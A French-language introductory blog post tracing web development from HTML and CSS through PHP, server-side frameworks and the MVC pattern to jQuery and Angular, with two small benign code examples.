Le HTML est un langage de balisage. Il permet de décrire à l’aide d’un fichier texte les types d’informations qui seront contenues dans votre document html - à fortiori sur votre site web. Un fichier HTML ne se préocuppe pas du rendu, des couleurs. Pour ce qui est de l’apparence, du cosmétique, on utilise le CSS. Le CSS applique des modifications sur des balises du HTML.

Pour tester votre page en HTML ou CSS, il vous faut juste un bloc note et un navigateur

Un petit exemple : Nous déclarons que ce bloc de texte est un paragraphe grâce au HTML. Nous pouvons changer la couleur de ce dernier grâce au CSS.

Où apprendre le HTML et CSS ? :

Pour rendre accessible mes pages HTML et CSS à tout le monde, je dois utiliser un serveur web. Ce sont actuellement des contenus statiques. Apache et nginx excellent dans ce domaine. Si vous utilisez Windows, vous pouvez installer WAMP (Windows Apache MySQL PHP) ou XAMP (X Apache MySQL PHP). Sous linux, installez nginx ou apache

Soyez dynamique !

La version old-school avec PHP

L’idéal serait de pouvoir générer nos pages web à la volée. La manière la plus simple serait de le faire avec PHP. Nous ne nous atterderons pas sur cette possibilité qui est dépréciée. Sachez juste qu’une page PHP en 2000 pouvait ressembler à ça :

<!doctype html>
<html>
  <head>
    <title>Mon titre</title>
  </head>
  <body>
    <h1>Nous sommes le <?php echo date("d-m-Y"); ?></h1>
  </body>
</html>

De nouveaux langages, une nouvelle approche

Bien que PHP reste majoritaire dans beaucoup de cas, de nouvelles approches pour développer votre application web.

Entre autre, de plus en plus de sites sont développés grâce à Python, Javascript, Ruby, Java, etc. Leur approche est différente. Dans ce cas là, on va écrire un programme dans ce langage, qui va utiliser une bibliothèque http. Pour lancer notre site web, il ne nous restera qu’à lancer notre programme.

Arrêtons de réinventer la roue !

Il existe de nombreux frameworks, qui posent les bases d’une application. C’est comme si des personnes avaient déjà écrit le squelette de votre application, vous n’avez plus qu’à implémenter ce que vous voulez. Voici une liste non exhaustive avec leur langage associé :

Symfony, gros framework, une référence sur PHP Documentation
Zend, idem que Symfony, PHP Documentation
Silex, Framework dérivé de Symfony, léger, PHP Documentation
Express, Framework léger pour NodeJS Documentation
SailsJS, Gros framework NodeJS Documentation
Rails, framework Ruby Documenation
Django, framework Python Documentation
Play, framework Java Documentation

Tout ces liens mènent vers la page de démarrage du projet, n’hésitez pas à naviguer sur les sites pour avoir des infos sur le framework

Design Pattern MVC

Tout ces frameworks partagent un point commun : leur façon de fonctionner. Elle est appelée MVC ou Modèle Vue Controlleur.

Pour faire simple, un utilisateur fait une requete sur votre application en cliquant sur un lien, ce qui appelle un Controlleur. Ce Controlleur va chercher les informations dont il a besoin dans les Modèles. Une fois les informations en sa possession, il les injecte dans la Vue, puis la renvoit à l’utilisateur.

Chaque controlleur sera donc associé à une url de notre application. Par exemple BlogController() fera référence à http://quentin.dufour.tk/blog, AboutController() fera référence à http://quentin.dufour.tk/about…

Un modèle représente une entité de notre application. On aura donc un objet User, un objet Article, un objet Page…

La vue est le code HTML de base dans lequel on va injecter le code de notre article. Une vue de ce blog pourrait ressembler à ça :

<article>
  <h1>{[ article.title ]}</h1>
  <p>{[ article.content ]}</p>
  <em>{[ article.author ]}</em>
</article>

Javascript

A chaque fois que votre utilisateur fait une action, vous devez recharger la page web. Vous pouvez mettre fin à ça facilement grâce au javascript !

Il y a quelques années, la révolution jQuery est arrivée et a rendu le javascript simple. Les sites actuels sont d’une tel complexité que jQuery semble désuet. jQuery est une bibliothèque, et permet de réaliser certaines actions plus facilement. Il ne vous impose pas de cadre. Il vous permet de facilement modifier le DOM, le code html de votre page web à la volée. Pour en savoir plus, je vous renvois à la documentation ou le cours d’OpenClassRooms.

Aujourd’hui, utilisez jQuery pour construire une application web de 0 semble suicidaire. Il est préférable d’utiliser un framework, qui définit clairement un cadre, avec un endroit précis pour vos fonctions. Les deux plus connues sont Backbone et Angular.

Angular utiliser par exemple un modèle MVC, semblable à celui de votre serveur mais pour votre client.

Voilà, nous venons de faire un tour très rapide de l’évolution du web, et donc de ses technologies. Il en existe bien plus, à vous de les découvrir !